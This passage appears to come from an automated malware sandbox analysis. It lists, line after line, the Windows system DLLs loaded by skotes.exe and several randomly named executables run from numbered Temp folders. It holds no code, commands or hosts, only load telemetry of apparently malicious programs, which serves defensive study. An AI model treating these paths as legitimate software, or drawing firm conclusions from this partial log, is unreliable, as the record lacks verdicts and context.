Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: iphlpapi.dll
